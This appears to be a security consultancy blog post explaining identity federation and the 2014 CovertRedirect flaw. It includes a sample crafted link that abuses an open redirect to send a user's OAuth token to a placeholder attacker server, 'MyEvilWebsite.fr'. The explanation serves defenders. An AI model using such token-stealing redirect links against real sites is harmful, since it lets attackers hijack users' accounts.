The identity federation


What is the federation of identities?

Data centralization is becoming essential for organisations pursuing an effective Identity Management strategy. Our experts explain the potential vulnerability exploits.

Share the post:

Basic principle

Identity federation aims to establish data centralization, particularly identity data, within an IT domain. The idea is that a user will connect only once per session with a recognized structure that will provide him or her with proof of his or her identity (in the form of a token). The user can then use this token to access other sources without having to carry out a new authentication procedure. Single authentication (also called primary), means using a single password throughout the process. It is then easier to apply a renewal policy  without impacting the user experience. The federation of identities also makes it possible to centralize users’ data (such as email address, name and language). These data are called “attributes” and their centralization allows, among other things, for them to be modified more easily.

The stakeholders

In an identity federation, it is necessary to recognize three parties and to identify the different flows between them:

  • The user: this is the person who interacts via a web browser. He or she has a digital identity associated with several attributes and wishes to access a protected application.
  • The identity provider: is the central component of the architecture and is responsible for authenticating users. It checks the user’s authentication factors and provides proof of identity. It is also in charge of attributing access permissions. Identity Provider is also referred as IdP.
  • The service provider : verifies the user’s identity and may need the user’s attributes. Service Provider is also referred as SP.

 

The flows

These different parties interact with each other to ultimately allow access to the user via the following steps :

  1. Client request: the user requests access to a service protected by authentication;
  2. Redirection: the service provider redirects the user to the identity provider so that he or she can authenticate him or herself;
  3. Authentication: the user authenticates him or herself (he or she proves his or her identity) using the appropriate authentication factors according to the set-up (login/password, key, OTP, etc.);
  4. Answer with token: the identity provider redirects the user to the service provider along with the token attesting his or her identity;
  5. Application access: the service provider evaluates the token and allows the user access.
Schéma de la fédération d'identité par Orange Cyberdefense

Focus on “CovertRedirect” vulnerability

Presentation

These redirections make the feeds transparent to the user. However a badly managed redirection can be exploited by an attacker to allow him or her to redirect the user towards a malicious site (phishing or malware download). CovertRedirect is not a protocol vulnerability but a vulnerability affecting the implementation of protocols that is done on certain services.

Redirection exploitation is a well-known problem: the OpenRedirect1, redirection vulnerability has been ranked in the top 10 OWASP since 2010.

This vulnerability targets sites that contain links of this form :

siteWeb.com/Other/Path?redirectionTo=AnotherPageorAnotherSite

These links allow applications to perform processing (server side) before redirecting the user to the desired resource defined as a parameter in the URL (such as session destruction before redirecting to the home page on a “log off” button for example).

In most cases, these links are a result of poor design and their implementation is strongly discouraged. SiteWeb.com can then serve as a relay for phishing e.g. an attacker can forge a link of the type:

siteWeb.com/Other/Path?redirectionTo=CorruptedSite.com

CoverRedirect : history

CovertRedirect appeared in spring 2014 as highlighted by Wang Jing, PhD student at Nanyang New Technology University in Singapore. The impact of this vulnerability was initially highlighted as significant because a number of web giants could be involved (GAFA, LinkedIn, Yahoo, Live, GitHub). At a second stage, specialists retract their diagnostics to minimize its impact [2].

CovertRedirect which exploits OpenRedirect’s presence on sites is involved in identity federation. How does it operate? To better understand it, let’s say that a user wishes to authenticate to a MyWebsite.com site using his identity managed by the myGreatIdP.com website.

La fédération d'identité par Orange Cyberdefense

The user connects to the client myWebsite.com[1] which will send him or her the authentication request to the target server. To do this, it redirects the user[2] to a URL of type :

myGreatIdP.com/dialog/authen?redirect=monSiteWeb.com/UserProfile?scope=DroitsDuJeton&client_id=11

monSiteWeb.com/UserProfile is the address where the server is waiting for the authentication response.

The user authenticates on myGreatIdP.com [3] which redirects him[4] to :

monSiteWeb.com/UserProfile?token=ValeurDuJeton monSiteWeb.com can now use this token to identify the user and provide the requested access[5]. Now in case monWebSite.com contains a redirect on :monSiteWeb.com/LogOff?GoTo=HomePage.html

An attacker can exploit CovertRedirect by making a user click on a link of this type :

myGreatIdP.com/dialog/authen?redirect=monSiteWeb.com/LogOff?GoTo=MyEvilWebsite.fr/Input/CovertRedirect&response_type=token?scope= DroitsDuJeton&client_id=11 

We find there:

  • the application,
  • the identity provider,
  • a malicious server. 

This is stage one of the attack. The user then finds himself on myGreatIdP.com which asks him to authenticate for the site mySiteWeb.com[2].It is then redirected by the IdP to the redirect page

monWebSite.com[3] monSiteWeb.com/LogOff?GoTo=MyEvilWebsite.fr/Input/CovertRedirect?token=ValeurDuJeton

The site will process LogOff (session destruction for example) and write the user (because of its OpenRedirect vulnerability) to :

MyEvilWebsite.fr/Input/CovertRedirect?token=ValeurDuJeton 

The attacker will then have the value of the token in the server logs. Under certain conditions, it can reuse this token to read (or sometimes write) the user’s data. 

Identity federation: an impact multiplier?

In an identity federation scheme, the walls within the SI can be seen as thinner, and the weight carried by authentication heavier. Thus, the federation of identities can be seen as a factor multiplying the impacts of a possible attack. If one user’s identity is compromised, their access to all perimeter applications will be affected. If an incident occurs on the authentication brick, all my users will be affected. It is therefore essential to be able to manage these potential incidents by integrating high availability mechanisms and strengthening authentication security.

 

In reality, the federation of identities should rather be seen as a simplifier of the IS, and structural or protocol vulnerabilities are rather rare. Identities and clearances will be centrally administered, and users will no longer have to manipulate a multitude of identifiers and passwords (sometimes self-synchronized). These projects require a high level of involvement from all the company’s businesses, but will simplify the user experience and may make it possible to apply certain security constraints specific to sectors and businesses.

 

References

[1]https://www.owasp.org/index.php/Open_redirect[2]http://www.theregister.co.uk/2014/05/05/covert_redirect_is_overt_hype_more_heartbleat_than_heartbleed/

About the blogger

 Baptiste David is a security consultant at Orange Cyberdefense.

Follow us on: